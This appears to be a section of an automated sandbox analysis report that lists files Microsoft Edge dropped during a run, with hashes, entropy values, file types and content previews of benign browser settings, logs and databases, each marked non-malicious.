Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".axrrmw20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........~...... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673A6FED-1F4C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04757078555681711
Encrypted:	false
SSDEEP:	192:tkg30m5tminOAUJYYJ/7qiRDs0JVFg8Xs1IphEHsBwwh7hNXv+RQ8Tf44an8y08s:um0Utl6F6Y/hFVmv44a08T2RGOD
MD5:	AB3A2EED7C8E3163B72548687BA5C44F
SHA1:	D67074A222460C8BE924650F4ED2606B4843CFF7
SHA-256:	84E4CEB78402622B736E7C2C1B0F1A644AC4495599C8EC46BC5705956765EA07
SHA-512:	1B6A448A963FE6348C2777EF44E0A806394F9BF00750132455042C1F7FC8AB889447F1C4B2E108CAA2A05924033AA8AF527383DDE9C93DCCB5A09656BB6C24A5
Malicious:	false
Preview:	...@..@...@.....C.].....@................k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".axrrmw20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........I...... .`2...........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\37d9ded5-3192-41a3-81b9-7dabac7d9e67.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4beed085-07f7-49c0-aff8-5a8a4c21f054.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5e5a9997-d53e-4dc0-abf2-d77ef495d312.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17300), with no line terminators
Category:	dropped
Size (bytes):	17302
Entropy (8bit):	5.495049195008146
Encrypted:	false
SSDEEP:	384:st9PGQSu4XstqtJjWY0WOPj1mt2bGLQwJ:sfOXu9qt0WhEbGkW
MD5:	EAC6170B2703FB16DA206449CDB8D090
SHA1:	2AD6B02E5897E241601C9F2D898F130778106CC0
SHA-256:	E4608D170A2D82CA9C44E4CFDFE2A9C47F1B24CF4E455103D8AC00F62236C26F
SHA-512:	3B49C82456036F3EDE06A69868E0A547E5CB826C35AA79AA0CFF8154AA17F6F9348C5D2A1F0E6C88824424BED262971F176D8AEDB3846AB32DC776BA31A7F252
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376356591864345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6fae6587-ae16-4638-9c44-d158d1bfa5f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.577686497261481
Encrypted:	false
SSDEEP:	768:139oUCWPyYfGB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVf+yUx3vrwPyDpNtuC:139oUCWPyYfGBu1jaO+yq3cP6t1
MD5:	860DA4864AA87CF3AE59694DD6DCCF27
SHA1:	6D5118C43DFD80D9D76D5240DAEDB1CB78575466
SHA-256:	0C26CD2908CC861F82C3D4906CE6CD7B91730F9E07FECCB8B0B876BAB5A6F87F
SHA-512:	48AE5F798AC2F759583392971401CC681516EACAF98A3A8796C2DF5E93DFC830592653F978E98BADFDC23BF60A7727E2410B4D6E9C62B054A8F07F1174DCC85D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376356589906731","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376356589906731","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\95d2c3ac-fd51-4b0c-9479-2a754ca811a0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561785740930465
Encrypted:	false
SSDEEP:	768:1WLo72C7pLGLp4CWPyYfAB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVV+TUx8vrwdYQK:1WLoiacp4CWPyYfABu1jak+Tq8cdYQZE
MD5:	38536F31401FC5D17BF513FBD1122370
SHA1:	591D8693722C19EF2EE0DB88F81D6E1C198E2917
SHA-256:	B7E16C9E4387AB7EB6E5B425E065D0BF89DEA3CD09F10A4196556937ED43E62E
SHA-512:	B72BC542B9322CAD4336FB3A374E23FFDA6F4BF690BBD7172A93BBFB6E7A2750989B726F074025DBE6EC60E72AC99F8A0B257B781731E3D33A658019A5A3C58D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376356589906731","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376356589906731","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.284902435550009
Encrypted:	false
SSDEEP:	6:HUeTfSRfXM1cNwi23oH+Tcwtp3hBtB2KLlVUeTfwTq2PcNwi23oH+Tcwtp3hBWsh:1TOX2ZYebp3dFLtTkvLZYebp3eFUv
MD5:	57DF63DA5348593E309458D2DEBD2FE9
SHA1:	33E1AD2861DCBBBFE664BE320934A5F314F16DFF
SHA-256:	4A6279EE9FE85B534635D5786A9CC4374A706B107213515C03100E9F87433B07
SHA-512:	EF979C40FBCB0E3F38B6AE2851082EF61E08080CFBAC0F2034BB0A418D9883B5B81758EC4CD75C2C2202C79A49F48E8CA731CC80823195F4E892DBE417CD62E2
Malicious:	false
Preview:	2024/11/17-17:36:36.466 1994 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/17-17:36:37.216 1994 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040627271368414
Encrypted:	false
SSDEEP:	24576:kyf76gGkISshcFdmcOAoPENUpifYP+MbI2T:kyfgAmmE
MD5:	9A841F06E25CEA2AC9FBF42E1063AF99
SHA1:	9F5543E19DCE47C6ED847C92DA2FEEC939A32F0F
SHA-256:	3BB79DA8A2CA636ABF3BD04644B13F02F5DD3C1A9052ECB7C2516EBC972A8E5E
SHA-512:	275EBAAB40C48D1FA6508F476165B2E1868DA446B2DAA358C67552CD6DC72740B99144D0D17A309E4989FFE12C0BDEFD6CC9407A24A939585D7142BE37E4A856
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.172590092162238
Encrypted:	false
SSDEEP:	6:HUeTfSgt0+q2PcNwi23oH+Tcwt9Eh1tIFUt8YUeTfSZ1AWZmw+YUeTfSlVVkwOcn:1T9t0+vLZYeb9Eh16FUt8ATOAW/+AT2N
MD5:	67284745806DB896733B4D04F4F785BE
SHA1:	53021F9561BC1B6216226F6EC12BFF5B17B2C2AE
SHA-256:	E22C4BF759779D5AA7BAF297DBC3B9BF00D8D755140BEA584B8E301733CE2CE1
SHA-512:	0D1A5A2EF5D483DF933D5A7D8D3FA1E4C077847227BC167597014875F49E9A0FC93DD02572CCA552FC47321A5A10FA9529CD8D2D4E443A3643EB830547060EA0
Malicious:	false
Preview:	2024/11/17-17:36:36.769 1a5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/17-17:36:36.770 1a5c Recovering log #3.2024/11/17-17:36:36.774 1a5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.172590092162238
Encrypted:	false
SSDEEP:	6:HUeTfSgt0+q2PcNwi23oH+Tcwt9Eh1tIFUt8YUeTfSZ1AWZmw+YUeTfSlVVkwOcn:1T9t0+vLZYeb9Eh16FUt8ATOAW/+AT2N
MD5:	67284745806DB896733B4D04F4F785BE
SHA1:	53021F9561BC1B6216226F6EC12BFF5B17B2C2AE
SHA-256:	E22C4BF759779D5AA7BAF297DBC3B9BF00D8D755140BEA584B8E301733CE2CE1
SHA-512:	0D1A5A2EF5D483DF933D5A7D8D3FA1E4C077847227BC167597014875F49E9A0FC93DD02572CCA552FC47321A5A10FA9529CD8D2D4E443A3643EB830547060EA0
Malicious:	false
Preview:	2024/11/17-17:36:36.769 1a5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/17-17:36:36.770 1a5c Recovering log #3.2024/11/17-17:36:36.774 1a5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4635220104806832
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuVY7:TouQq3qh7z3bY2LNW9WMcUvBuG7
MD5:	50FBDF9A295EB44BF3CBF043F326481B
SHA1:	EE3A099B5BEDB1B53D4BC1971B94E39F0AF3777A
SHA-256:	04437B54349CC3D3508445B4AD1417A641F078CE5DE32BE16D8AD5FC83788F50
SHA-512:	31535DA168408BC8179399FF66BC9F039EEB158B65CCCE1FF4C354D97D6BFF578595BF8AB48F48DCC06B3C5EF36B1F9016CEC94601764E1E6767EA290216BC90
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.288442894397502
Encrypted:	false
SSDEEP:	6:HUeTfML+q2PcNwi23oH+TcwtnG2tMsIFUt8YUeTfWAFz1Zmw+YUeTfWAFlLVkwOX:1TJvLZYebn9GFUt8ATeK1/+ATes54ZYi
MD5:	4AF00411F5C3975702B4E15E95BDBFB2
SHA1:	EE276FCAD3EABDF709B3BD3188604D9DF4C978AE
SHA-256:	E7350DF79E67DD09835A1000B25024B19057E045E4D5377D3E83E8B5F307E275
SHA-512:	3F585D5B2404667512A5EBDF4F98FA5A5E0FA51910C66D170B13FB96699E00B240875771F37D9827F59A3DC84CF0316105D3F118935CE8697A53EBF863308F23
Malicious:	false
Preview:	2024/11/17-17:36:29.944 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/17-17:36:29.945 1e58 Recovering log #3.2024/11/17-17:36:29.945 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.288442894397502
Encrypted:	false
SSDEEP:	6:HUeTfML+q2PcNwi23oH+TcwtnG2tMsIFUt8YUeTfWAFz1Zmw+YUeTfWAFlLVkwOX:1TJvLZYebn9GFUt8ATeK1/+ATes54ZYi
MD5:	4AF00411F5C3975702B4E15E95BDBFB2
SHA1:	EE276FCAD3EABDF709B3BD3188604D9DF4C978AE
SHA-256:	E7350DF79E67DD09835A1000B25024B19057E045E4D5377D3E83E8B5F307E275
SHA-512:	3F585D5B2404667512A5EBDF4F98FA5A5E0FA51910C66D170B13FB96699E00B240875771F37D9827F59A3DC84CF0316105D3F118935CE8697A53EBF863308F23
Malicious:	false
Preview:	2024/11/17-17:36:29.944 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/17-17:36:29.945 1e58 Recovering log #3.2024/11/17-17:36:29.945 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.613281959536839
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jftBRpxtBXmL:TO8D4jJ/6Up+/Vs
MD5:	C222C63E8F8C8465DB01A1BDF81C2772
SHA1:	43D2B1C6E063BB5FE4042DD765C1C3A42C566927
SHA-256:	C51D72165656AEF20A9D970AB4DA1F15BD869B054950CB24B63213C8D8CB77E1
SHA-512:	BDE9BA86F1FF734592DB926F3763D18C43CE89490BA85DFE611F50013AA45B3959B4170CA102C15A4FCB43F795BC28E6531AE91F1CAE58F68E831753BAE1F44D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.35409545521116
Encrypted:	false
SSDEEP:	6144:tA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:tFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	FE10500DBAE6791C97678ED9F4E6D4D4
SHA1:	75F66FF6E6C42F1032025072DBE54E8E9DDAD844
SHA-256:	A908F02DBF17B3508975368003A472FC9C89392811658986F775B3BCD92E617C
SHA-512:	937A26AE2D4F94CCE182D2CCBE482465D2712E181164994F424FEF8EF557F032BEC22474E5AB2041BB0512479D436B952E84575A11EA64111937441DA4900C65
Malicious:	false
